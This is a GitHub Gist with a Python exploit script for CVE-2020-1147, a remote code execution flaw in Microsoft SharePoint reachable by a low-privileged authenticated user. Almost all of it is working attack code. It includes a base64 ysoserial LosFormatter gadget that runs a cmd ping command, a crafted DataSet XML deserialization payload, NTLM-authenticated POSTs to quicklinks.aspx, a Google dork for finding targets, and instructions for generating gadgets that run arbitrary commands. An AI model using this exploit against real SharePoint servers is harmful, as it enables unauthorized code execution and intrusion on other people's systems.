Created
March 18, 2021 04:43
-
-
Save 0xcrypto/900b0ace57840f79ba2437850df7b81c to your computer and use it in GitHub Desktop.
SharePoint Authenticated (Low Privileged) RCE Exploit
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Exploit Title: Microsoft SharePoint Server 2019 - Remote Code Execution | |
# Google Dork: inurl:quicklinks.aspx | |
# Date: 2020-08-14 | |
# Exploit Author: West Shepherd | |
# Vendor Homepage: https://www.microsoft.com | |
# Version: SharePoint Enterprise Server 2013 Service Pack 1, SharePoint Enterprise Server 2016 , SharePoint Server 2010 Service | |
# Pack 2, SharePoint Server 2019 | |
# Tested on: Windows 2016 | |
# CVE : CVE-2020-1147 | |
# Credit goes to Steven Seele and Soroush Dalili | |
# Source: https://srcincite.io/blog/2020/07/20/sharepoint-and-pwn-remote-code-execution-against-sharepoint-server-abusing-dataset.html | |
#!/usr/bin/python | |
from sys import argv, exit, stdout, stderr | |
import argparse | |
import requests | |
from bs4 import BeautifulSoup | |
from requests.packages.urllib3.exceptions import InsecureRequestWarning | |
from requests_ntlm import HttpNtlmAuth | |
from urllib.parse import quote, unquote | |
import logging | |
class Exploit: | |
# To generate the gadget use: | |
# ysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c "command" | |
# ysoserial.exe -g TextFormattingRunProperties -f LosFormatter -c "command" | |
gadget = '/wEypAcAAQAAAP////8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAADGBTw/eG1sIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9InV0Zi04Ij8+DQo8T2JqZWN0RGF0YVByb3ZpZGVyIE1ldGhvZE5hbWU9IlN0YXJ0IiBJc0luaXRpYWxMb2FkRW5hYmxlZD0iRmFsc2UiIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbC9wcmVzZW50YXRpb24iIHhtbG5zOnNkPSJjbHItbmFtZXNwYWNlOlN5c3RlbS5EaWFnbm9zdGljczthc3NlbWJseT1TeXN0ZW0iIHhtbG5zOng9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sIj4NCiAgPE9iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT4NCiAgICA8c2Q6UHJvY2Vzcz4NCiAgICAgIDxzZDpQcm9jZXNzLlN0YXJ0SW5mbz4NCiAgICAgICAgPHNkOlByb2Nlc3NTdGFydEluZm8gQXJndW1lbnRzPSIvYyBwaW5nIC9uIDEwIDEwLjQ5LjExNy4yNTMiIFN0YW5kYXJkRXJyb3JFbmNvZGluZz0ie3g6TnVsbH0iIFN0YW5kYXJkT3V0cHV0RW5jb2Rpbmc9Int4Ok51bGx9IiBVc2VyTmFtZT0iIiBQYXNzd29yZD0ie3g6TnVsbH0iIERvbWFpbj0iIiBMb2FkVXNlclByb2ZpbGU9IkZhbHNlIiBGaWxlTmFtZT0iY21kIiAvPg0KICAgICAgPC9zZDpQcm9jZXNzLlN0YXJ0SW5mbz4NCiAgICA8L3NkOlByb2Nlc3M+DQogIDwvT2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KPC9PYmplY3REYXRhUHJvdmlkZXI+Cw==' | |
control_path_quicklinks = '/_layouts/15/quicklinks.aspx' | |
control_path_quicklinksdialogform = '/_layouts/15/quicklinksdialogform.aspx' | |
control_path = control_path_quicklinks | |
def __init__( | |
self, | |
redirect=False, | |
proxy_address='', | |
username='', | |
domain='', | |
password='', | |
target='' | |
): | |
requests.packages.urllib3.disable_warnings(InsecureRequestWarning) | |
self.username = '%s\\%s' % (domain, username) | |
self.target = target | |
self.password = password | |
self.session = requests.session() | |
self.redirect = redirect | |
self.timeout = 0.5 | |
self.proxies = { | |
'http': 'http://%s' % proxy_address, | |
'https': 'http://%s' % proxy_address | |
} \ | |
if proxy_address is not None \ | |
and proxy_address != '' else {} | |
self.headers = {} | |
self.query_params = { | |
'Mode': "Suggestion" | |
} | |
self.form_values = { | |
'__viewstate': '', | |
'__SUGGESTIONSCACHE__': '' | |
} | |
self.cookies = {} | |
self.payload = """\ | |
<DataSet> | |
<xs:schema xmlns="" xmlns:xs="http://www.w3.org/2001/XMLSchema" | |
xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" id="somedataset"> | |
<xs:element name="somedataset" msdata:IsDataSet="true" | |
msdata:UseCurrentLocale="true"> | |
<xs:complexType> | |
<xs:choice minOccurs="0" maxOccurs="unbounded"> | |
<xs:element name="Exp_x0020_Table"> | |
<xs:complexType> | |
<xs:sequence> | |
<xs:element name="pwn" | |
msdata:DataType="System.Data.Services.Internal.ExpandedWrapper`2[[System.Web.UI.LosFormatter, | |
System.Web, Version=4.0.0.0, Culture=neutral, | |
PublicKeyToken=b03f5f7f11d50a3a],[System.Windows.Data.ObjectDataProvider, | |
PresentationFramework, Version=4.0.0.0, Culture=neutral, | |
PublicKeyToken=31bf3856ad364e35]], System.Data.Services, | |
Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" | |
type="xs:anyType" minOccurs="0"/> | |
</xs:sequence> | |
</xs:complexType> | |
</xs:element> | |
</xs:choice> | |
</xs:complexType> | |
</xs:element> | |
</xs:schema> | |
<diffgr:diffgram xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" | |
xmlns:diffgr="urn:schemas-microsoft-com:xml-diffgram-v1"> | |
<somedataset> | |
<Exp_x0020_Table diffgr:id="Exp Table1" msdata:rowOrder="0" | |
diffgr:hasChanges="inserted"> | |
<pwn xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" | |
xmlns:xsd="http://www.w3.org/2001/XMLSchema"> | |
<ExpandedElement/> | |
<ProjectedProperty0> | |
<MethodName>Deserialize</MethodName> | |
<MethodParameters> | |
<anyType | |
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" | |
xmlns:xsd="http://www.w3.org/2001/XMLSchema" | |
xsi:type="xsd:string">{GADGET}</anyType> | |
</MethodParameters> | |
<ObjectInstance xsi:type="LosFormatter"></ObjectInstance> | |
</ProjectedProperty0> | |
</pwn> | |
</Exp_x0020_Table> | |
</somedataset> | |
</diffgr:diffgram> | |
</DataSet>""".replace('{GADGET}', self.gadget) | |
def do_get(self, url, params=None, data=None): | |
return self.session.get( | |
url=url, | |
verify=False, | |
allow_redirects=self.redirect, | |
headers=self.headers, | |
cookies=self.cookies, | |
proxies=self.proxies, | |
data=data, | |
params=params, | |
auth=HttpNtlmAuth(self.username, self.password) | |
) | |
def do_post(self, url, data=None, params=None): | |
return self.session.post( | |
url=url, | |
data=data, | |
verify=False, | |
allow_redirects=self.redirect, | |
headers=self.headers, | |
cookies=self.cookies, | |
proxies=self.proxies, | |
params=params, | |
auth=HttpNtlmAuth(self.username, self.password) | |
) | |
def parse_page(self, content): | |
soup = BeautifulSoup(content, 'lxml') | |
for key, val in self.form_values.iteritems(): | |
try: | |
for tag in soup.select('input[name=%s]' % key): | |
try: | |
self.form_values[key] = tag['value'] | |
except Exception as error: | |
stderr.write('error for key %s error %s\n' % | |
(key, str(error))) | |
except Exception as error: | |
stderr.write('error for selector %s error %s\n' % | |
(key, str(error))) | |
return self | |
def debug(self): | |
try: | |
import http.client as http_client | |
except ImportError: | |
import httplib as http_client | |
http_client.HTTPConnection.debuglevel = 1 | |
logging.basicConfig() | |
logging.getLogger().setLevel(logging.DEBUG) | |
requests_log = logging.getLogger("requests.packages.urllib3") | |
requests_log.setLevel(logging.DEBUG) | |
requests_log.propagate = True | |
return self | |
def clean(self, payload): | |
payload = payload\ | |
.replace('\n', '')\ | |
.replace('\r', '') | |
while ' ' in payload: | |
payload = payload\ | |
.replace(' ', ' ') | |
return payload | |
def get_form(self): | |
url = '%s%s' % (self.target, self.control_path) | |
resp = self.do_get(url=url, params=self.query_params) | |
self.parse_page(content=resp.content) | |
return resp | |
def send_payload(self): | |
url = '%s%s' % (self.target, self.control_path) | |
# self.get_form() | |
self.headers['Content-Type'] = 'application/x-www-form-urlencoded' | |
self.form_values['__SUGGESTIONSCACHE__'] = self.clean(self.payload) | |
self.form_values['__viewstate'] = '' | |
resp = self.do_post(url=url, params=self.query_params, | |
data=self.form_values) | |
return resp | |
if __name__ == '__main__': | |
parser = argparse.ArgumentParser(add_help=True, | |
description='CVE-2020-1147 SharePoint exploit') | |
try: | |
parser.add_argument('-target', action='store', help='Target address: http(s)://target.com ') | |
parser.add_argument('-username', action='store', default='', | |
help='Username to use: first.last') | |
parser.add_argument('-domain', action='store', default='', | |
help='User domain to use: domain.local') | |
parser.add_argument('-password', action='store', default='', | |
help='Password to use: Summer2020') | |
parser.add_argument('-both', action='store', default=False, | |
help='Try both pages (quicklinks.aspx and quicklinksdialogform.aspx): False') | |
parser.add_argument('-debug', action='store', default=False, | |
help='Enable debugging: False') | |
parser.add_argument('-proxy', action='store', default='', | |
help='Enable proxy: 10.10.10.10:8080') | |
if len(argv) == 1: | |
parser.print_help() | |
exit(1) | |
options = parser.parse_args() | |
exp = Exploit( | |
proxy_address=options.proxy, | |
username=options.username, | |
domain=options.domain, | |
password=options.password, | |
target=options.target | |
) | |
if options.debug: | |
exp.debug() | |
stdout.write('target %s username %s domain %s password %s debug %s proxy %s\n' % ( | |
options.target, options.username, options.domain, | |
options.password, options.debug, options.proxy | |
)) | |
result = exp.send_payload() | |
stdout.write('Response: %d\n' % result.status_code) | |
if 'MicrosoftSharePointTeamServices' in result.headers: | |
stdout.write('Version: %s\n' % | |
result.headers['MicrosoftSharePointTeamServices']) | |
if options.both and result.status_code != 200: | |
exp.control_path = exp.control_path_quicklinksdialogform | |
stdout.write('Trying alternate page\n') | |
result = exp.send_payload() | |
stdout.write('Response: %d\n' % result.status_code) | |
except Exception as error: | |
stderr.write('error in main %s' % str(error)) | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment